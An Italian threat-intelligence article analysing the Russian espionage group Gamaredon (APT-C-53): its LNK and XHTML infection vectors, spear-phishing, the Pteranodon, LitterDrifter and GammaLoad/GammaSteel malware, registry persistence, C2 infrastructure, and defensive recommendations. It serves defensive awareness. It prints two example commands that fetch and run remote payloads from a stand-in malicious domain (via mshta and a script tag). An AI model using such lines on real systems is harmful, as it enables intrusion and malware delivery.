Red Hot Cyber
Condividi la tua difesa. Incoraggia l'eccellenza. La vera forza della cybersecurity risiede nell'effetto moltiplicatore della conoscenza.
Condividi la tua difesa. Incoraggia l'eccellenza.
La vera forza della cybersecurity risiede
nell'effetto moltiplicatore della conoscenza.
HackTheBox 970x120 1
Enterprise BusinessLog 320x200 1
APT-C-53 (Gamaredon): Analisi delle Attività di Cyber Spionaggio

APT-C-53 (Gamaredon): Analisi delle Attività di Cyber Spionaggio

11 Dicembre 2024 07:10

Il gruppo di Advanced Persistent Threat (APT) APT-C-53, noto anche come Gamaredon, Primitive Bear, Winterflounder e BlueAlpha, è un’entità di cyber spionaggio sponsorizzata dallo stato russo. Attivo dal 2013, è focalizzato su operazioni di intelligence contro organizzazioni governative, enti della difesa, istituzioni diplomatiche e media, con particolare attenzione all’Ucraina. Questo articolo fornisce un’analisi tecnica dettagliata delle metodologie e degli strumenti utilizzati da APT-C-53 nelle operazioni più recenti, facendo riferimento ai dati forniti da diverse fonti di Threat Intelligence, inclusa un’analisi pubblicata su WeChat.

Tecniche di Attacco e Vettori di Infezione

La mappa delle connessioni riportata nell’immagine evidenzia chiaramente la complessità dell’infrastruttura e delle tattiche impiegate dal gruppo APT-C-53 (Gamaredon). Come mostrato, l’attacco è caratterizzato da una rete intricata di indirizzi IP, domini malevoli e diverse tipologie di file utilizzati per distribuire i payload. Ogni nodo rappresenta un elemento cruciale della catena di infezione, mentre le frecce illustrano le relazioni tra i vari componenti del processo di attacco, dai server di comando e controllo (C2) fino ai file malevoli utilizzati per compromettere i sistemi delle vittime.

L’analisi visiva consente di comprendere come APT-C-53 sfrutti più vettori contemporaneamente per garantire il successo delle sue campagne di cyber spionaggio. Nei paragrafi seguenti, analizzeremo in dettaglio le tecniche di attacco più rilevanti e i vettori di infezione identificati, facendo riferimento ai collegamenti mostrati nell’immagine.

1. File LNK Maligni


Cyber Offensive Fundamentale Ethical Hacking 02

Avvio delle iscrizioni al corso Cyber Offensive Fundamentals
Vuoi smettere di guardare tutorial e iniziare a capire davvero come funziona la sicurezza informatica?
La base della sicurezza informatica, al di là di norme e tecnologie, ha sempre un unico obiettivo: fermare gli attacchi dei criminali informatici. Pertanto "Pensa come un attaccante, agisci come un difensore". Ti porteremo nel mondo dell'ethical hacking e del penetration test come nessuno ha mai fatto prima. Per informazioni potete accedere alla pagina del corso oppure contattarci tramite WhatsApp al numero 379 163 8765 oppure scrivendoci alla casella di posta [email protected].


Supporta Red Hot Cyber attraverso: 

  1. L'acquisto del fumetto sul Cybersecurity Awareness
  2. Ascoltando i nostri Podcast
  3. Seguendo RHC su WhatsApp
  4. Seguendo RHC su Telegram
  5. Scarica gratuitamente “Byte The Silence”, il fumetto sul Cyberbullismo di Red Hot Cyber

Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì.

APT-C-53 utilizza file di collegamento Windows (LNK) come vettore iniziale di infezione. Questi file contengono comandi che vengono eseguiti tramite processi legittimi come mshta.exe. L’obiettivo è eseguire script remoti dannosi senza destare sospetti. I file LNK sono spesso inseriti in archivi compressi distribuiti tramite email di phishing.

Esempio di Comando LNK:

mshta http://malicious-domain/payload.hta

2. File XHTML Malevoli

Un altro vettore di attacco comune è l’uso di file XHTML che scaricano e eseguono payload dannosi. Questi file vengono mascherati da documenti legittimi e, una volta aperti, eseguono script che stabiliscono una connessione con un server di comando e controllo (C2) per il download del malware principale.

Tecnica di Download Dinamico:

<script src="http://malicious-domain/payload.js"></script>

3. Campagne di Spear-Phishing

APT-C-53 eccelle nelle campagne di spear-phishing mirate. Le email sono personalizzate per ingannare specifici destinatari, spesso utilizzando temi rilevanti per il contesto geopolitico e istituzionale della vittima. Gli allegati includono documenti Office compromessi o archivi compressi contenenti file LNK o script dannosi.

Strumenti e Malware Impiegati

1. Pteranodon

Un trojan modulare utilizzato per ottenere accesso remoto ai sistemi infetti. Consente di eseguire comandi, esfiltrare dati e scaricare ulteriori moduli malevoli.

Funzionalità principali:

  • Esecuzione di comandi remoti
  • Esfiltrazione di file sensibili
  • Persistenza tramite chiavi di registro

2. LitterDrifter

Un worm scritto in VBScript (VBS) progettato per diffondersi tramite unità USB rimovibili. Questo malware sfrutta il trasferimento fisico di dispositivi per penetrare reti isolate.

Meccanismo di Diffusione:

  • Copia del file VBS nelle unità rimovibili
  • Creazione di file LNK dannosi nella root dell’unità USB
  • Esecuzione automatica tramite modifiche al file autorun.inf

3. GammaLoad e GammaSteel

Varianti di malware utilizzate per eseguire il download di ulteriori payload e mantenere il controllo persistente del sistema compromesso. Entrambi i malware sfruttano script PowerShell per comunicare con i server C2 e ricevere comandi dinamici.

Tecniche di Persistenza e Obfuscation

APT-C-53 implementa diverse tecniche di persistenza per mantenere l’accesso ai sistemi compromessi:

  1. Modifiche al Registro di Sistema:
    • Esecuzione automatica dei payload malevoli tramite chiavi di registro:
    • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  2. Obfuscation degli Script:
    • Uso di stringhe codificate in Base64, compressione e tecniche di offuscamento del codice per eludere i sistemi di rilevamento.
  3. Infettare Dispositivi Rimovibili:
    • Propagazione del malware tramite unità USB, facilitando la diffusione in ambienti chiusi o con limitata connettività esterna.

Infrastruttura di Comando e Controllo (C2)

L’infrastruttura C2 di APT-C-53 è composta da server che forniscono payload malevoli e ricevono dati esfiltrati. Il gruppo utilizza:

  • Indirizzi IP Dinamici e domini temporanei per evitare il blocco delle comunicazioni.
  • Tecniche di Fast Flux per cambiare frequentemente gli indirizzi IP associati ai domini C2.

Esempio di IP associato: 5.181.189.32

Settori Colpiti

I settori principali presi di mira da APT-C-53 includono:

  • Governo
  • Difesa
  • Diplomazia
  • Media
  • Attivisti e ONG

APT-C-53 (Gamaredon) rappresenta una delle minacce più persistenti e sofisticate nell’ambito del cyber spionaggio. L’utilizzo di tecniche avanzate di infezione, obfuscation e persistenza sottolinea l’importanza di implementare misure di sicurezza robuste come:

  • Filtri avanzati per email e allegati
  • Monitoraggio delle modifiche al registro di sistema
  • Segmentazione della rete e restrizioni sui dispositivi USB
  • Aggiornamenti costanti dei sistemi di rilevamento delle minacce

Rimanere aggiornati sulle TTP (Tactics, Techniques, and Procedures) di Gamaredon è essenziale per proteggere le infrastrutture critiche e prevenire potenziali compromissioni.

Ti è piaciuto questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.

Sandro Sana 300x300
Membro del gruppo di Red Hot Cyber Dark Lab e direttore del Red Hot Cyber PodCast. Si occupa d'Information Technology dal 1990 e di Cybersecurity dal 2014 (CEH - CIH - CISSP - CSIRT Manager - CTI Expert), relatore a SMAU 2017 e SMAU 2018, docente SMAU Academy & ITS, membro ISACA. Fa parte del Comitato Scientifico del Competence Center nazionale Cyber 4.0, dove contribuisce all’indirizzo strategico delle attività di ricerca, formazione e innovazione nella cybersecurity.
Aree di competenza: Cyber Threat Intelligence, NIS2, Governance & Compliance della Sicurezza, CSIRT & Crisis Management, Ricerca, Divulgazione e Cultura Cyber
Visita il sito web dell'autore

Articoli in evidenza

Immagine del sitoCybercrime
Colloqui di lavoro letali: l’arte di infettare i computer mentre si finge di fare un colloquio
Redazione RHC - 22/01/2026

Da oltre un anno, il gruppo nordcoreano PurpleBravo conduce una campagna malware mirata denominata “Contagious Interview “, utilizzando falsi colloqui di lavoro per attaccare aziende in Europa, Asia, Medio Oriente e America Centrale. I ricercatori…

Immagine del sitoCybercrime
Il ritorno di LockBit! 500 euro per l’ingresso nel cartello cyber più famoso di sempre
Redazione RHC - 22/01/2026

Il gruppo LockBit, che molti avevano rapidamente liquidato dopo fallimenti e fughe di notizie di alto profilo, è tornato inaspettatamente sulla scena. Nell’autunno del 2025, ha presentato una nuova versione del suo ransomware, LockBit 5.0,…

Immagine del sitoVulnerabilità
Nuovo zero-day Cisco permette l’accesso root senza autenticazione
Redazione RHC - 22/01/2026

Una vulnerabilità critica di esecuzione di codice remoto (RCE) zero-day, identificata come CVE-2026-20045, è stata scoperta da Cisco e risulta attivamente sfruttata in attacchi attivi. Cisco ha sollecitato l’applicazione immediata delle patch e il suo…

Immagine del sitoCyber Italia
Cybersicurezza nella PA locale: il problema non è la norma, è il presidio
Roberto Villani - 22/01/2026

C’è un equivoco comodo, in Italia: pensare che la cybersicurezza sia materia “da ministeri” o da grandi operatori strategici. È rassicurante. Ed è sbagliato. Nel disegno reale della connettività pubblica, gli enti locali non sono…

Immagine del sitoVulnerabilità
Vulnerabilità critica in Zoom: falla CVE-2026-22844 con CVSS 9.9
Redazione RHC - 21/01/2026

Zoom Video Communications ha pubblicato un avviso di sicurezza urgente per una vulnerabilità critica (identificata come CVE-2026-22844) che interessa le sue infrastrutture enterprise. Il problema riguarda un difetto di iniezione di comandi nei dispositivi Zoom…